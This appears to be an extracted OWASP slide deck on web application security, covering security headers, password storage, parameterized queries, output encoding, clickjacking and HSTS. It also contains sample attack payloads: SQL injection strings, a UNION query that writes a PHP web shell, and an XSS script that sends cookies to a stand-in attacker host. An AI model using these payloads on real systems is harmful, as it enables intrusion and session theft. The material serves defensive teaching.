How Do I Approach Application Security?
Jim Manico
OWASP GLOBAL BOARD MEMBER
OWASP Cheat-Sheet Project Lead

Eoin Keary
CTO BCC Risk Advisory / edgescan.com
OWASP GLOBAL BOARD MEMBER

Michael Coates
Director Shape Security
OWASP GLOBAL BOARD MEMBER
The Numbers

Cyber Crime:
“Second cause of economic crime experienced by the financial services sector” – PwC

“Globally, every second, 18 adults become victims of cybercrime” - Norton

US - $20.7 billion – (direct losses)
Globally 2012 - $110,000,000,000 – direct losses

“556 million adults across the world have first-hand experience of cybercrime -- more than the entire population of the European Union.”
Target's December 19 disclosure 100+ million payment cards

LoyaltyBuild November disclosure 1.5 million + records

Snapchat: 4.6 million user records
Pentesting?

A penetration test is a method of evaluating computer and network security by simulating an attack on a computer system or network from external and internal threats.

This is a component of an overall security assessment.
Its (not) the $$$$
But we are approaching this problem completely wrong and have been for years.....
Asymmetric Arms Race
A traditional end of cycle / Annual pentest only gives minimal security.....

There are too many variables and too little time to ensure “real security”.
The OWASP Foundation
http://www.owasp.org

Two weeks of ethical hacking

Ten man-years of development

An inconvenient truth

Business Logic Flaws

Security Errors

Code Flaws
An Attacker has 24x7x365 to Attack

Attacker Schedule

The Defender has 20 man days per year to detect and defend

Who has the edge?
HTTP Manipulation – Scanning – Is Not Enough

Problem has moved (back) to the client.
Some “Client Side” vulnerabilities can’t be tested via HTTP parameter testing.

AJAX
Flex/Flash/Air
Native Mobile Web Apps – Data Storage, leakage, malware.
DOM XSS – Sinks & Sources in client script -> no HTTP required

Scanning in not enough anymore.
We need DOM security assessment.
Javascript parsing/Taint analysis/String analysis/Manual Validation

window.location = http://example.com/a/page.ext?par=val#javascript&#x3a>alert(1)
jQuery.globalEval( userContent );

http://code.google.com/p/domxsswiki/
Business Logic – Finite State Machines

Automated scanners are dumb

No idea of business state or state transitions
No clue about horizontal or vertical authorization / roles
No clue about business context

We test applications for security issues without knowing the business process
We can’t “break” logic (in a meaningful way) we don’t understand

Running a $30,000 scanning tool against your mission critical application?
Will this find flaws in your business logic or state machine?

We need human intelligence & verification
"Onions"

**SDL**
- Design review
- Threat Modeling
- Code review/SAST/CI
- Negative use/abuse cases/Fuzzing/DAST

**Live/Continuous/Frequent monitoring / Testing**

**Ongoing**
- Manual Validation
- Vulnerability management & Priority
- Dependency Management....

"Robots are good at detecting known unknowns"
"Humans are good at detecting unknown unknowns"
You may not let some of the people who have developed your code into your offices!!
2012/13 Study of 31 popular open source libraries

- 19.8 million (26%) of the library downloads have known vulnerabilities
- Today's applications may use up to 30 or more libraries - 80% of the codebase
Spring application development framework:
Downloaded 18 million times by over 43,000 organizations in the last year
– Vulnerability: Information leakage CVE-2011-2730
http://support.springsource.com/security/cve-2011-2730

In Apache CXF application framework:
4.2 million downloads.
- Vulnerability: Auth bypass CVE-2010-2076 & CVE 2012-0803
http://cxf.apache.org/cve-2012-0803.html
Do we test for "dependency" issues?

NO

Does your patch management policy cover application dependencies?

Check out:
https://github.com/jeremylong/DependencyCheck
Information flooding
(Melting a developers brain, white noise and "compliance")
Where do we go now?

*Doing things right != Doing the right things*

"Not all bugs/vulnerabilities are equal" (is `HttpOnly` important if there is no XSS?)

**Contextualize Risk**
(is XSS /SQLi always High Risk?)

**Do developers need to fix everything?**

- Limited time
- Finite Resources
- Task Priority
- Pass internal audit?

*White Noise*
Problem

Explain issues in “Developer speak” (AKA English)
Is Cross-Site Scripting the same as SQL injection?

Both are injection attacks code and data being confused by system

Cross Site Scripting is primarily JavaScript injection

LDAP Injection, Command Injection, Log Injection, XSS, SQLI etc etc

Think old phone systems, Captain Crunch (John Draper)

Signaling data and voice data on same logical connection – Phone Phreaking
XSS causes the browser to execute user supplied input as code. The input breaks out of the [data context] and becomes [execution context].

SQLI causes the database or source code calling the database to confuse [data context] and ANSI SQL [execution context].

Command injection mixes up [data context] and the [execution context].
So....

Building secure applications
Web Application Security

Securing the application

<table>
<thead>
<tr>
<th>Input validation</th>
<th>Session mgmt</th>
<th>Authentication</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authorization</td>
<td>Config mgmt</td>
<td>Error handling</td>
</tr>
<tr>
<td>Secure storage</td>
<td>Auditing/logging</td>
<td></td>
</tr>
</tbody>
</table>

Securing the network

- Router
- Firewall
- Switch

Securing the host

<table>
<thead>
<tr>
<th>Patches/updates</th>
<th>Accounts</th>
<th>Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>Services</td>
<td>Files/directories</td>
<td>Registry</td>
</tr>
<tr>
<td>Protocols</td>
<td>Shares</td>
<td>Auditing/logging</td>
</tr>
</tbody>
</table>
HTTP is stateless and hence requests and responses to communicate between browser and server have no memory.

Most typical HTTP requests utilise either GET or POST methods

Scripting can occur on:
- Server-Side (e.g. perl, asp, jsp)
- Client-Side (javascript, flash, applets)

Web server file mappings allow the web server to handle certain file types using specific handlers (ASP, ASP.NET, Java, JSP, CFM etc)

Data is posted to the application through HTTP methods, this data is processed by the relevant script and result returned to the user’s browser
HTTP POST
HTTP GET

"GET" exposes sensitive authentication information in the URL
■ In Web Server and Proxy Server logs
■ In the http referer header
■ In Bookmarks/Favorites often emailed to others

"POST" places information in the body of the request and not the URL

Enforce HTTPS POST For Sensitive Data Transport
GET vs POST HTTP Request

**GET request**

GET
/search.jsp?name=blah&type=1
HTTP/1.0
User-Agent: Mozilla/4.0
Host: www.mywebsite.com
Cookie: SESSIONID=2KDSU72H9GSA289

**POST request**

POST /search.jsp HTTP/1.0
User-Agent: Mozilla/4.0
Host: www.mywebsite.com
Content-Length: 16
Cookie: SESSIONID=2KDSU72H9GSA289
name=blah&type=1

28
What are HTTP Headers?

**HTTP headers** are components of the message header of HTTP Requests and Responses. HTTP headers define different aspects of an HTTP transaction.

HTTP headers are colon-separated name-value pairs in clear-text string format, terminated by a carriage return (CR) and line feed (LF) character sequence.

Security HTTP Response Headers

- X-Frame-Options
- X-Xss-Protection
- X-Content-Type-Options
- Content Security Policy
- Access-Control-Allow-Origin
- HTTPS Strict Transport Security
- Cache-Control / Pragma
Security HTTP Response headers

**X-Frame-Options** `'SAMEORIGIN'` - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.

**X-XSS-Protection** `'1; mode=block'` - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off (useful if response contents scripts from request parameters)

**X-Content-Type-Options** `'nosniff'` - stops the browser from guessing the MIME type of a file.

**X-Content-Security-Policy** - A powerful mechanism for controlling which sites certain content types can be loaded from

**Access-Control-Allow-Origin** - used to control which sites are allowed to bypass same origin policies and send cross-origin requests.

**Strict-Transport-Security** - used to control if the browser is allowed to only access a site over a secure connection

**Cache-Control** - used to control mandatory content caching rules
X-Frame-Options

Protects you from most classes of Clickjacking

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW FROM
X-XSS-Protection

Use the browser’s built in XSS Auditor

X-XSS-Protection: [0-1](; mode=block)?

X-XSS-Protection: 1; mode=block
X-ContentType-Options

Fixes mime sniffing attacks

Only applies to IE, because only IE would do something like this

X-ContentType-Options = ‘nosniff’
Content Security Policy

- Anti-XSS W3C standard [http://www.w3.org/TR/CSP/](http://www.w3.org/TR/CSP/)
- Move all inline script and style into external files
- Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
- Define a policy for the site regarding loading of content
  - Chrome version 25 and later (50%)
  - Firefox version 23 and later (30%)
  - Internet Explorer version 10 and later (10%)
Strict Transport Security

Strict-transport-security: max-age=10000000

Do all of your subdomains support SSL?
Strict-transport-security: max-age=10000000;
includeSubdomains
Disabling the Browser Cache

Add the following as part of your HTTP Response

Cache-Control: no-store, no-cache, must-revalidate
Expires: -1
HTTP Security Headers

Tool

Secure headers!
Open source

https://github.com/twitter/secureheaders
Secure Password Storage

- Verify Only
- Add Salt
- Slow Down (or)
- HMAC/Isolation
What does this MD5 Decrypter tool do?

MD5Decrypter.co.uk allows you to input an MD5 hash and search for its decrypted state in our database, basically, it's a MD5 cracker / decryption tool.

How many decryptions are in your database?
We have a total of just over 21,188 billion unique decrypted MD5 hashes since August 2007.

Need more help finding your hashes?
Submit your hashes into My Hash Lists from the menu and get dedicated help to help you. You need to be registered with our forums in order to use this feature.

Please input the MD5 hashes that you would like to be converted into text / cracked / decrypted. NOTE that space character is replaced with [space]:

Status: 
Hashes were found! Please find them below...

MD5 Hashes:
b7e283a0951d95d6eac86e39e7942c0

Max: 16
Please use a standard list format

MD5: password123!

Please note the password is after the : character, and the MD5 hash is before it.

Decrypt Hashes  Load new captcha
http://www.md5decrypter.co.uk

md5("password123!") = b7e283a09511d95d6eac86e39e7942c0

md5("86e39e7942c0password123!") = f3acf5189414860a9041a5e9ec1079ab
1) Do not limit the type of characters or length of user password within reason

- Limiting passwords to protect against injection is doomed to failure
- Use proper encoder and other defenses described instead
- Be wary of systems that allow unlimited password sizes (Django DOS Sept 2013)
2) Use a cryptographically strong credential-specific salt

- `protect([salt + password])`;

- Use a 32char or 64char salt (actual size dependent on protection function);

- Do not depend on hiding, splitting, or otherwise obscuring the salt
3a) Impose difficult verification on [only] the attacker

• **HMAC-SHA-256**
  
  (private key, [salt + password])

• Protect this key as any private key using best practices

• Store the key outside the credential store

• Build the password-to-HMAC conversion as a separate web-service (cryptographic isolation).
3b) Impose difficult verification on the attacker and defender (weak/slow)

- **PBKDF2**([salt + password], c=10,000,000 );

- Use **PBKDF2** when FIPS certification or enterprise support on many platforms is required

- **SCRYPT**([salt + password], work factor 10, .5 GB ram)

- Use **SCRYPT** where resisting any/all hardware accelerated attacks is necessary but enterprise support and scale is not
Password1!
Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter, Blizzard's, Valve's Steam, Yahoo, Chase, RBS Bank
Forgot Password
Secure Design

Require identity questions
- Last name, account number, email, DOB
- Enforce lockout policy

Ask one or more good security questions

Send the user a randomly generated token via out-of-band
- email, SMS or token

Verify code in same web session
- Enforce lockout policy

Change password
- Enforce password policy
Injection Flaws
Anatomy of SQL Injection Attack

sql = "SELECT * FROM user_table WHERE username = " & Request("username") & " AND password = " & Request("password") & ""

What the developer intended:
username = john
password = password

SQL Query:
SELECT * FROM user_table WHERE username = 'john' AND password = 'password'
The OWASP Foundation
http://www.owasp.org

Anatomy of SQL Injection Attack

sql = "SELECT * FROM user_table WHERE username = '' & Request("username") & "' AND password = '' & Request("password") & "'"

(This is DYNAMIC SQL and Untrusted Input)

What the developer did not intend is parameter values like:

username = john
password = blah' or '1'='1 --

SQL Query:
SELECT * FROM user_table WHERE username = 'john' AND password = 'blah' or '1'='1' --

or '1' = '1' causes all rows in the users table to be returned!
Example Attacks

SELECT first_name, last_name FROM users WHERE user_id = "' UNION ALL SELECT load_file('C:\app\htdocs\webapp\.htaccess'), '1'

SELECT first_name, last_name FROM users WHERE user_id ="' UNION SELECT ', '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE 'C:\app\htdocs\webapp\exploit.php';#

String building can be done when calling stored procedures as well

```
sql = "GetCustInfo @LastName=" + request.getParameter("LastName");
```

Stored Procedure Code

```
CREATE PROCEDURE GetCustInfo (@LastName VARCHAR(100))
AS
exec('SELECT * FROM CUSTOMER WHERE LNAME=''' + @LastName + '''')
GO
```

What’s the issue here............

If `blah' OR '1'='1` is passed in as the LastName value, the entire table will be returned

Remember Stored procedures need to be implemented safely. 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation.
Rails: ActiveRecord/Database Security

Rails is designed with minimal SQL Injection problems.

It is not recommended to use user data in a database query in the following manner:

```ruby
Project.where("name = '#{params[:name]}'")
```

By entering a parameter with a value such as

```ruby
' OR 1 --
```

Will result in:

```sql
SELECT * FROM projects WHERE name = " OR 1 --'
```
Active Record

Other Injectable examples:

**Rails 2.X example:**

```ruby
@projects = Project.find(:all, :conditions => "name like #{params[:name]}")
```

**Rails 3.X example:**

```ruby
name = params[:name]
@projects = Project.where("name like ' ' + name + ' '");
```
Active Record

Countermeasure

Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character and line breaks.

Using Model.find(id) or Model.find_by_something(something) automatically applies this countermeasure.

```
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
```

The "?" characters are placeholders for the parameters which are parameterised and escaped automatically.

Important:
Many query methods and options in ActiveRecord which do not sanitize raw SQL arguments and are not intended to be called with unsafe user input.

A list of them can be found here and such methods should be used with caution.

http://rails-sqli.org/
Query Parameterization (PHP)

```php
$stmt = $dbh->prepare("update users set email=:new_email where id=:user_id");
$stmt->bindParam(':new_email', $email);
$stmt->bindParam(':user_id', $id);
```
Query Parameterization (.NET)

SqlConnection objConnection = new SqlConnection(_ConnectionString);
objConnection.Open();
SqlCommand objCommand = new SqlCommand(
    "SELECT * FROM User WHERE Name = @Name
    AND Password = @Password",
    objConnection);
objCommand.Parameters.Add("@Name",
    NameTextBox.Text);
objCommand.Parameters.Add("@Password",
    PassTextBox.Text);
SqlDataReader objReader = objCommand.ExecuteReader();
Query Parameterization (Java)

String newName = request.getParameter("newName");
String id = request.getParameter("id");

// SQL
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

// HQL
Query safeHQLQuery = session.createQuery("from Employees where id=:empId");
safeHQLQuery.setParameter("empId", id);
Query Parameterization (Cold Fusion)

<cfquery name="getFirst"
dataSource="cfsnippets">
  SELECT * FROM #strDatabasePrefix#_courses
  WHERE intCourseID = <cfqueryparam value=#intCourseID# CFSQLType="CF_SQL_INTEGER">
</cfquery>
Query Parameterization (PERL)

```perl
my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )";
my $sth = $dbh->prepare( $sql );
$sth->execute( $bar, $baz );
```
Web applications may use input parameters as arguments for OS scripts or executables.

Almost every application platform provides a mechanism to execute local operating system commands from application code.

- **Perl**: system(), exec(), backquotes(``)  
- **C/C++**: system(), popen(), backquotes(``)  
- **ASP**: wscript.shell  
- **Java**: getRuntime.exec  
- **MS-SQL Server**: master..xp_cmdshell  
- **PHP**: include() require(), eval(), shell_exec

Most operating systems support multiple commands to be executed from the same command line. Multiple commands are typically separated with the pipe “|” or ampersand “&” characters.
Where can I learn more?

**LDAP Injection**
- [https://www.owasp.org/index.php/LDAP_injection](https://www.owasp.org/index.php/LDAP_injection)

**SQL Injection**
- [https://www.owasp.org/index.php/Query_Parameterization?_Cheat_Sheet](https://www.owasp.org/index.php/Query_Parameterization?_Cheat_Sheet)

**Command Injection**
- [https://www.owasp.org/index.php/Command_Injection](https://www.owasp.org/index.php/Command_Injection)
Cross Site Scripting

JavaScript Injection

Contextual Output Encoding
Safe ways to represent dangerous characters in a web page

<table>
<thead>
<tr>
<th>Characters</th>
<th>Decimal</th>
<th>Hexadecimal</th>
<th>HTML Character Set</th>
<th>Unicode</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot; (double quotation marks)</td>
<td>&quot;</td>
<td>&quot;</td>
<td>&quot;</td>
<td>\u0022</td>
</tr>
<tr>
<td>' (single quotation mark)</td>
<td>'</td>
<td>'</td>
<td>'</td>
<td>\u0027</td>
</tr>
<tr>
<td>&amp; (ampersand)</td>
<td>&amp;</td>
<td>&amp;</td>
<td>&amp;</td>
<td>\u0026</td>
</tr>
<tr>
<td>&lt; (less than)</td>
<td>&lt;</td>
<td>&lt;</td>
<td>&lt;</td>
<td>\u003c</td>
</tr>
<tr>
<td>&gt; (greater than)</td>
<td>&gt;</td>
<td>&gt;</td>
<td>&gt;</td>
<td>\u003e</td>
</tr>
</tbody>
</table>
XSS Attack Payloads

- Session Hijacking
- Site Defacement
- Network Scanning
- Undermining CSRF Defenses
- Site Redirection/Phishing
- Load of Remotely Hosted Scripts
- Data Theft
- Keystroke Logging
- Attackers using XSS more frequently
Anatomy of a XSS Attack

```html
<script>
window.location='https://eiviljim.com/unc/data=' + document.cookie;
</script>

<script>
document.body.innerHTML='&lt;blink&gt;EOIN IS COOL&lt;/blink&gt;';
</script>
```
### XSS Defense by Data Type and Context

<table>
<thead>
<tr>
<th>Data Type</th>
<th>Context</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>HTML Body</td>
<td>HTML Entity Encode</td>
</tr>
<tr>
<td>String</td>
<td>HTML Attribute</td>
<td>Minimal Attribute Encoding</td>
</tr>
<tr>
<td>String</td>
<td>GET Parameter</td>
<td>URL Encoding</td>
</tr>
<tr>
<td>String</td>
<td>Untrusted URL</td>
<td>URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification</td>
</tr>
<tr>
<td>String</td>
<td>CSS</td>
<td>Strict structural validation, CSS Hex encoding, good design</td>
</tr>
<tr>
<td>HTML</td>
<td>HTML Body</td>
<td>HTML Validation (JSoup, AntiSamy, HTML Sanitizer)</td>
</tr>
<tr>
<td>Any</td>
<td>DOM</td>
<td>DOM XSS Cheat Sheet</td>
</tr>
<tr>
<td>Untrusted JavaScript</td>
<td>Any</td>
<td>Sandboxing</td>
</tr>
<tr>
<td>JSON</td>
<td>Client Parse Time</td>
<td>JSON.parse() or json2.js</td>
</tr>
</tbody>
</table>

**Safe HTML Attributes include:** align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

- No third party libraries or configuration necessary.
- This code was designed for high-availability/high-performance encoding functionality.
- Simple drop-in encoding functionality
- Redesigned for performance
- More complete API (uri and uri component encoding, etc) in some regards.
- This is a Java 1.5 project.
- Will be the default encoder in the next revision of ESAPI.
- Last updated February 14, 2013 (version 1.1)
The Problem

Web Page built in Java JSP is vulnerable to XSS

The Solution

```
<%-- Basic HTML Context --%>
<body><b><%= Encode.forHtml(UNTRUSTED) %></b></body>

<%-- HTML Attribute Context --%>
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />

<%-- Javascript Block context --%>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>";
alert(msg);
</script>

<%-- Javascript Variable context --%>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click me</button>
```
<b>&lt;%= Encode.forHtml('UNTRUSTED') %&gt;</b>

<p>Title:&lt;%= Encode.forHtml('UNTRUSTED') %&gt;</p>

<textarea name="text">
&lt;%= Encode.forHtmlContent('UNTRUSTED') %&gt;
</textarea>
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>>" />

<input type="text" name="data"
value="<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %>>" />
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">

<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>"
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
  Encode.forHtmlContext(<strong>untrustedURL</strong>)
</a>
<button onclick="alert('<!-- Encode.forJavaScript(alertMsg) -->');">click me</button>

<button onclick="alert('<!-- Encode.forJavaScriptAttribute(alertMsg) -->');">click me</button>

<script type="text/javascript">
var msg = "<!-- Encode.forJavaScriptBlock(alertMsg) -->";
alert(msg);
</script>
<div style="background: url('<%=Encode.forCssUrl(value)%>');">
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
</div>
Other Encoding Libraries

Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html

Reform Project
Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP
https://www.owasp.org/index.php/Category:OWASP_Encoding_Project

ESAPI
PHP.NET, Python, Classic ASP, Cold Fusion

.NET AntiXSS Library
http://wpl.codeplex.com/releases/view/80289
Nested Contexts Best to avoid:

an element attribute calling a Javascript function etc - parsing chains

<div onclick="showError('<%=request.getParameter("errorxyz")%>')" >An error occurred ....</div>

Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError).

Parsing order:
1: HTML decode the contents of the onclick attribute.
2: When onClick is selected: Javascript Parsing of showError

So we have 2 contexts here...HTML and Javascript (2 browser parsers).
We need to apply "layered" encoding in the RIGHT order:
1) JavaScript encode
2) HTML Attribute Encode so it "unwinds" properly and is not vulnerable.

```html
<div onclick="showError ('<%= Encoder.encodeForHtml(Encoder.encodeForJavaScript(request.getParameter("error"))%>')?>')" >An error occurred ....</div>
```
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project

- HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
- This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules.
- Very easy to use.
- It allows for simple programmatic POSITIVE policy configuration (see below). No XML config.
- Actively maintained by Mike Samuel from Google's AppSec team!
- This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend Firefox as the primary browser for the best editing experience, but of course, TinyMCE is compatible with all major browsers.

Got questions or need help?
If you have questions or need help, feel free to visit our documentation, its a great resource!

Path: h1 » img

Source output from post

<table>
<thead>
<tr>
<th>Element</th>
<th>HTML</th>
</tr>
</thead>
<tbody>
<tr>
<td>content</td>
<td>&lt;h1&gt;&lt;img style=&quot;float: right;&quot; title=&quot;TinyMCE Logo&quot; src=&quot;img/tlogo.png&quot; alt=&quot;TinyMCE Logo&quot; width=&quot;92&quot; height=&quot;80&quot; /&gt;Welcome to the TinyMCE editor demo!&lt;/h1&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;p&gt;Feel free to try out the different features that are provided, please note that the MCImageManager and MCFileManager specific functionality is part of our commercial offering. The demo is to show the integration.&lt;/p&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;p&gt;We really recommend &lt;a href=&quot;http://www.getfirefox.com&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt; as the primary browser for the best editing experience, but of course, TinyMCE is &lt;a href=&quot;../wiki.php/Browser_compatibility&quot; target=&quot;_blank&quot;&gt;compatible&lt;/a&gt; with all major browsers.&lt;/p&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;h2&gt;Got questions or need help?&lt;/h2&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;p&gt;If you have questions or need help, feel free to visit our &lt;a href=&quot;../forum/index.php&quot;&gt;community forum&lt;/a&gt;. We also offer Enterprise &lt;a href=&quot;../enterprise/support.php&quot; target=&quot;_blank&quot;&gt;support&lt;/a&gt; solutions. Also do not miss out on the &lt;a href=&quot;../wiki.php/documentation&quot;&gt;documentation&lt;/a&gt;, its a great resource wiki for understanding how TinyMCE works and integrates.&lt;/p&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;h2&gt;Found a bug?&lt;/h2&gt;</td>
</tr>
<tr>
<td></td>
<td>&lt;p&gt;If you think you have found a bug, you can use the &lt;a href=&quot;../develop/bugtracker.php&quot;&gt;Tracker&lt;/a&gt; to report bugs to the developers.&lt;/p&gt;</td>
</tr>
</tbody>
</table>
|             | <p>And here is a simple table for you to play with.</p>
Solving Real World Problems with the OWASP HTML Sanitizer Project

The Problem

Web Page is vulnerable to XSS because of untrusted HTML

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilder()
    .allowElements("a")
    .allowUrlProtocols("https")
    .allowAttributes("href").onElements("a")
    .requireRelNofollowOnLinks()
    .build();
String safeHTML = policy.sanitize(untrustedHTML);
```
**OWASP JSON Sanitizer Project**
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer

- Given JSON-like content, converts it to valid JSON.
- This can be attached at either end of a data-pipeline to help satisfy Postel's principle: *Be conservative in what you do, be liberal in what you accept from others.*
- Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use.
- Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
Solving Real World Problems with the OWASP JSON Sanitizer Project

The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly

The Solution
JSON Sanitizer can help with two use cases.

1) **Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication**

2) **Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.**
DOM-Based XSS Defense

- Untrusted data should only be treated as displayable text
- JavaScript encode and delimit untrusted data as quoted strings
- Use safe API’s like `document.createElement("..."), element.setAttribute("...","value"), element.appendChild(…) and $(‘#element’).text(…);` to build dynamic interfaces
- Avoid use of HTML rendering methods
- Avoid sending any untrusted data to the JS methods that have a code execution context like `eval(..), setTimeout(..), onclick(..), onblur(..).`
• SAFE use of JQuery
  • `$('#element').text('UNTRUSTED DATA');`

• UNSAFE use of JQuery
  • `$('#element').html('UNTRUSTED DATA');`
jQuery methods that directly update DOM or can execute JavaScript:

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$(()) or jQuery()</td>
<td></td>
</tr>
<tr>
<td>.add()</td>
<td>.attr()</td>
</tr>
<tr>
<td>.after()</td>
<td>.css()</td>
</tr>
<tr>
<td>.animate()</td>
<td>.html()</td>
</tr>
<tr>
<td>.append()</td>
<td>.insertAfter()</td>
</tr>
<tr>
<td>.appendTo()</td>
<td>.insertBefore()</td>
</tr>
</tbody>
</table>

Note: .text() updates DOM, but is safe.

jQuery methods that accept URLs to potentially unsafe content:

<table>
<thead>
<tr>
<th>Method</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>jQuery.ajax()</td>
<td>jQuery.post()</td>
</tr>
<tr>
<td>jQuery.get()</td>
<td>load()</td>
</tr>
<tr>
<td>jQuery.getScript()</td>
<td></td>
</tr>
</tbody>
</table>
Contextual encoding is a crucial technique needed to stop all types of XSS.

**jqencoder** is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS.

- `$('#element').encode('html', cdata);`
Content Security Policy

• Anti-XSS W3C standard
• Content Security Policy *latest release version*
• [http://www.w3.org/TR/CSP/](http://www.w3.org/TR/CSP/)
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use
  - *Firefox/IE10PR: X-Content-Security-Policy*
  - *Chrome Experimental: X-WebKit-CSP*
  - *Content-Security-Policy-Report-Only*
• Define a policy for the site regarding loading of content
Get rid of XSS, eh?

A script-src directive that doesn’t contain ‘unsafe-inline’ eliminates a huge class of cross site scripting

I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
Real world CSP in action

strict-transport-security: max-age=631138519
version: HTTP/1.1
x-frame-options: SAMEORIGIN
x-gitsha: d814f6f74482d7b821d9f0344a59dd1d6a700a6
x-rack-cache: miss
x-request-id: 746d48ca76dc0766ca24e74fa905be11
x-runtime: 0.023473
x-ua-compatible: IE=Edge,chrome=1
What does this report look like?

```json
{
  "csp-report" => {
    "document-uri" => "http://localhost:3000/home",
    "referrer" => "",
    "blocked-uri" => "ws://localhost:35729/livereload",
    "violated-directive" => "xhr-src ws://localhost.twitter.com:*"
  }
}
```
What does this report look like?

```json
{
  "csp-report" => {
    "document-uri" => "http://example.com/welcome",
    "referrer" => "",
    "blocked-uri" => "self",
    "violated-directive" => "inline script base restriction",
    "source-file" => "http://example.com/welcome",
    "script-sample" => "alert(1)",
    "line-number" => 81
  }
}
```
Clickjacking
First, make a tempting site
<style>
iframe {
    width: 300px;
    height: 100px;
    position: absolute;
    top: 0; left: 0;
    filter: alpha(opacity=00);
    opacity: 0.0;
}
</style>

<iframe src="https://mail.google.com">
iframe is invisible, but still clickable!
X-Frame-Options HTTP Response Header

// to prevent all framing of this content
response.addHeader('"X-FRAME-OPTIONS", "DENY" ');

// to allow framing of this content only by this site
response.addHeader('"X-FRAME-OPTIONS", "SAMEORIGIN" ');

// to allow framing from a specific domain
response.addHeader('"X-FRAME-OPTIONS", "ALLOW-FROM X" ');}
Legacy Browser Clickjacking Defense

```html
<style id="antiCJ">body { display: none !important; }</style>
<script type="text/javascript">
if (self === top) {
    var antiClickjack = document.getElementById("antiCJ");
    antiClickjack.parentNode.removeChild(antiClickjack);
} else {
    top.location = self.location;
}
</script>
```
Risks of Insecure Communication

- High likelihood of attack
- Open wifi, munipical wifi, malicious ISP
- Easy to exploit

- High impact to user
- Clandestine monitoring of population
- Injection of incorrect/malicious content
- No protection from any defensive systems
- Design flaw in application
Ex 1: Insecure Session Management

- Secure login over HTTPS
- Password submitted encrypted

- Immediate redirect to HTTP
- Session ID sent cleartext <-- vulnerability point

https://site.com/login

http://site.com/profile
Ex 2: Insecure Redirects

- User requests HTTP page, response redirects HTTPS
- 302 Response is HTTP <-- Vulnerability Point
HTTP Strict Transport Security (HSTS)

- Browser prevents HTTP requests to HSTS site
- Any request to site is “upgraded” to HTTPS
- No clear text HTTP traffic ever sent to HSTS site
- Browser assumes HTTPS for HSTS sites

Get http://mybank.com

HSTS

Get https://mybank.com

SSL

200 Found
HSTS – Strict Transport Security

HSTS (Strict Transport Security)
